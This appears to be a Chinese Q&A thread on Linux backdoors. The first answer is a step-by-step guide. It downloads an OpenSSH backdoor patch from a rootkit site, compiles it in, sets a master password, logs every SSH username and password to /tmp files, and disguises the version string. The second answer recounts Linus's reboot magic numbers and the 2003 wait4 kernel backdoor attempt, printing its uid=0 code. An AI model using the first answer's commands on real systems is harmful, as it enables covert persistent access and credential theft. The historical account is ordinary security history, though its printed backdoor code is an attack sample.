回覆列表
  • 1 # 小金剛88

    比較簡單的利用ssh安裝後門

    在這裡找到對應的openssh版本 http://openbsd.org.ar/pub/OpenBSD/OpenSSH/portable/

    安裝前首先

    ssh -V

    記錄下原來ssh版本資訊,免得安裝後一看就版本不一樣了

    wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz

    wget http://openbsd.org.ar/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz

    tar zxvf openssh-5.9p1.tar.gz

    tar zxvf 0x06-openssh-5.9p1.patch.tar.gz

    cd openssh-5.9p1.patch/

    cp sshbd5.9p1.diff ../openssh-5.9p1

    cd ../openssh-5.9p1

    patch < sshbd5.9p1.diff //patch 後門

    vi includes.h //修改後門密碼,記錄檔案位置,

    /*

    +#define ILOG "/tmp/ilog" //記錄登入到本機的使用者名稱和密碼

    +#define OLOG "/tmp/olog" //記錄本機登入到遠端的使用者名稱和密碼

    +#define SECRETPW "123456654321" //你後門的密碼

    */

    vi version.h //修改ssh版本資訊,改成原來的

    先安裝所需環境不然會報錯

    yum install -y openssl openssl-devel pam-devel

    ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5

    注意要是出現:configure: error: *** zlib.h missing – please install first or check config.log

    需要安裝zlib

    yum install -y zlib zlib-devel // http://sourceforge.net/projects/libpng/files/zlib/1.2.3/zlib-1.2.3.tar.gz/download 需要 make clean

    make && make install

    service sshd restart //重啟sshd

    然後我們登入ssh看看

    再ssh localhost看看

    使用後門密碼登入是不會被記錄的

    後門,記錄一舉兩得,是不是很簡單

  • 2 # 享受Linux核心

    看到這個問題,我的腦海裡就浮現了之前看到的兩則故事,一則是跟Linux作者Linus有關,他的這個故事嚴格意義上並不是一個後門,但是確實在Linux系統裡面安插了“私貨”;另外一個故事是真的在Linux原始碼中安插了後門,而且差一點成功了。

    故事一:Linus在Linux中安插“私貨”

    如果你對Linux程式碼還算比較熟的,應該就知道下面截圖的是系統呼叫SYSC_reboot介面的程式碼。

    程式碼中有一段校驗Magic Number(魔數)的程式碼,上面的註釋是:“For safty, we require "magic" arguments.”

    哇塞!說的多麼“冠冕堂皇”啊,為了安全,好像不做一下校驗就很不嚴謹似的。

    接著看看那幾個比較的宏是幹嘛的:

    嗯?!第一個引數貌似很有意思,像英文的“feeldead”,感覺要死了,可不是麼系統馬上要重啟了。但貌似除了這第一個引數的魔數,第二個引數要比較的魔數都沒什麼特別的意思嘛。

    神奇的事情來了,把這幾個魔數轉成16進位制:

    0x28121969

    0x5121996

    0x16041998

    0x20112000

    看著像什麼?有點像是日期啊,答對了!

    第一個是Linus大神的生日1969年12月28日,第二個是Linus的大女兒的生日1996年12月5日,第三個是Linus的二女兒的生日1998年4月16日,最後一個零零後是Linus的小女兒剩餘2000年11月20日。

    Linus這是在Linux程式碼中公然夾帶私貨啊!換句話來說,要想成功呼叫reboot API,那麼前兩個引數必須嚴格按如下規則填寫:

    第一個引數必須是0xfee1dead。 在Linus大神的大女兒Patricia出生之前,第二個引數能且只能是0x28121969,也就是大神的生日。 當Linus有了大女兒Patricia後,第二個引數也可以是Patricia的生日0x5121996。這樣說有點不精確,精確的說法是從Linux核心2.1.17版本開始,第二個引數也可以是0x5121996。查閱kernel.org上的核心釋出歷史,2.1.17應該釋出於1996年12月22日。可以想見,Linus大神在喜得愛女的幾天內就修改了核心程式碼,然後在女兒滿月之前把把這個程式碼釋出給世界了。當Linus有二女兒後,第二個引數也可以是二女兒的生日。 當Linus有了小女兒後,第二個引數也可以是小女兒的生日。

    Linus大神把這些有意義的魔數寫入Linux核心中,而且使它們稱為系統呼叫的一部分,也就是說只要Linux還在,只要Linux還執行,這些數字將在全世界各地流淌。全世界的Linux應用程式開發者都將使用這些魔數才能正確呼叫重啟介面,而且考慮到前向相容性,這些數字是不會被輕易更改或者去除的。幸運的是,只要你係統不重啟,Linus的詭計就不能得逞,機智!

    https://blog.csdn.net/PCb4jR/article/details/81518695

    。原文要比我寫的精彩,我只是把切題的部分摘出來了,它涉及很多有趣細節,感興趣的建議去看一下完整版。

    故事二:驚天駭客Linux插入後門記

    Linux核心是開原始碼界可以說是最著名的標杆專案,全世界無數雙最頂尖的程式設計師的眼睛都盯著,正是基於此開源世界宣傳開源軟體比專有軟體更安全,那能不能向其中安插一個後門呢?雖然這是一件難度極高的事情,但有人差一點做到了,是怎麼回事呢?

    在正式說之前,我們必須要了解一些背景知識。

    2002年2月,Linux之父Linus Torvalds決定使用BitKeeper工具來管理Linux核心程式碼主線(mainline)。利用版本控制工具,我們可以記錄每次程式碼修改的差異,程式碼修改的提交人資訊,修改原因和其他資訊,這對於軟體開發來說是一個很重要的事情。一開始Linus對BitKeeper評價很高,他認為是“The best tool for the job”。

    BitMover是BitKeeper的開發廠商,其創始人和CEO是Larry McVoy,這個人也很熱衷於開源事業的發展。Larry期望BitKeeper能幫助Linus 免於陷入不斷加重的Linux核心管理工作中--事實上,自從Linus 開始使用BitKeeper之後,Linux的開發步伐加快了兩倍。

    BitMover授權Linux開發者不用付費就能使用這個工具--前提是這樣一個協議:這個免費工具的真正使用者不能同時開發其競爭產品。換句話說,這個工具可以免費 使用(freely used),不過不能被自由克隆(freely cloned)。事實上,BitMover開發維護了兩個BitKeeper版本,一個免費的授權給Linux開發者使用開發Linux,另一個是商業產品需要購買,但BitKeeper其實也不虧,因為它的商業模式就是授權給開源開發者使用吸引那些付費使用者,相當於整個Linux開發團體給這個產品做了背書。當然這兩個版本都是BitMover的智慧財產權。

    扯的原了,書回正傳。

    2003年Linux原始碼主複製儲存在BitKeeper中,如果開發者想往Linux程式碼中提交一個修改,需要走一個審批流程,以此來確定這次更改能否被接受。每一次更改都有一個簡單的說明,其中包含一個指向審批記錄的連結。但是有些人不喜歡BitKeeper,於是BitMover的一些人(在Larry McVoy的指示下)建立一個單獨的CVS倉庫,這個倉庫包含了當前完整的Linux程式碼以及全部的修改記錄,這樣的話不喜歡用BitKeeper的開發者就可以從CVS倉庫中獲取程式碼,CVS程式碼複製實際上是BitKeeper程式碼的一個直接克隆。因此,CVS倉庫不是新修改提交程式碼的地方,當然,當有人試圖往CVS中推送一些修改的時候,Larry McVoy能第一時間注意到。

    故事就發生在這個CVS倉庫中。

    2003年11月5號,Larry McVoy 注意到了一件怪事,CVS中的一個程式碼變更沒有包含審批記錄的連結, 這是怎麼回事?

    經過一番調查發現:從來沒有人批准過這個程式碼變更,奇怪的是,這個程式碼變更並沒有出現在BitKeeper主倉庫中,原來是有人黑進了CVS的伺服器,偷偷插入了一段程式碼。這段程式碼到底做了什麼事情呢?

    這段程式碼修改了一個叫做wait4的Linux函式,程式可以使用wait4來等待一些事情的發生,這個程式碼變更增加了這麼兩行:

    + if ((options == (__WCLONE | __WALL)) && (current->uid = 0))

    + retval = -EINVAL;

    不仔細看,這段程式碼並沒有什麼特別,只是做一下條件檢查,不滿足的話就返回錯誤碼。

    但仔細一看"current->uid=0"是一個賦值語句啊!也就是說在使用者態呼叫wait4函式,條件隨便寫一個滿足“options == (__WCLONE | __WALL)”的,"current->uid=0"會立馬被執行。current->uid賦值為0意味著使用者ID被改成了0,也就拿到了root許可權,那麼在系統中可以想幹什麼就幹什麼了。

    幸運的是,這樣一個後門被Linux團隊敏銳的發現了,雖然它只是在CVS程式碼庫中,但是危險性不容小覷。

    首先,後門存在CVS中,不在BitKeeper的主倉庫中,從BitKeeper 程式碼庫Build出的Linux肯定沒問題, 但是如果有人從CVS程式碼庫中build了Linux, 那就中招了。其次,搞破壞的傢伙可能有這樣的預期:有個被Linus Torvalds所信任的核心開發者,他討厭BitKeeper,並且在使用CVS, 那當他修改了程式碼,準備透過郵件的方式向Linus Torvalds傳送patch的時候發現,咦,wait4這裡也有個code change, 是做條件檢查的,也包括進去吧。Linus收到補丁,一看是自己信任的兄弟提交的,沒有仔細檢查,於是後門程式碼進入了主程式碼倉庫。 那麼後果不堪設想!

    https://blog.csdn.net/coderising/article/details/100682413

    。並在此基礎上結合另外三篇文章做了再整理創作:

    https://lwn.net/Articles/57135/

    https://blog.csdn.net/glory1234work2115/article/details/51277402

    https://freedom-to-

    tinker.com/2013/10/09/the-linux-backdoor-attempt-of-2003/

    番外:

    Linux使用BitKeeper做開發管理,但有人不樂意了,為什麼呢?因為BitKeeper是一個非開源但是有條件免費的版本控制工具,而Linux是開源軟體的標杆產品,用一個閉源軟體來管理開源軟體,就有“政治不正確”,心裡也膈應。但是在當時,確實也沒有哪個自由軟體/開源軟體工具具有BitKeeper那樣的功能--它提供了真正的分散式開發能力,所以又不得不用。

    雖然有協議要求“這個免費工具的真正使用者不能同時開發其競爭產品”,但是還是有人不斷的試圖反向工程BitKeeper,多次這樣的舉動引起了BitMover的注意和警告,最終導致了BitMover決定終 止結束免費BitKeeper產品的開發和應用。

    沒有了免費的BitKeeper,Linus大神自己在短短几個星期裡面擼了一個版本管理軟體git,更厲害的是他大概花一天的時間就讓Git能達到自己管理自己的程度(self-hosting),之後就開始用Git提交Git的程式程式碼了。多年以後,Github程式碼託管平臺在開源界橫空出世,被稱為程式設計師的社交平臺,它的底層就是Git。目前Linux也將程式碼託管在Github上,真是令人感慨啊。

  • 中秋節和大豐收的關聯?
  • 豬場如何選擇豬圓環病毒疫苗?怎樣制定免疫程式?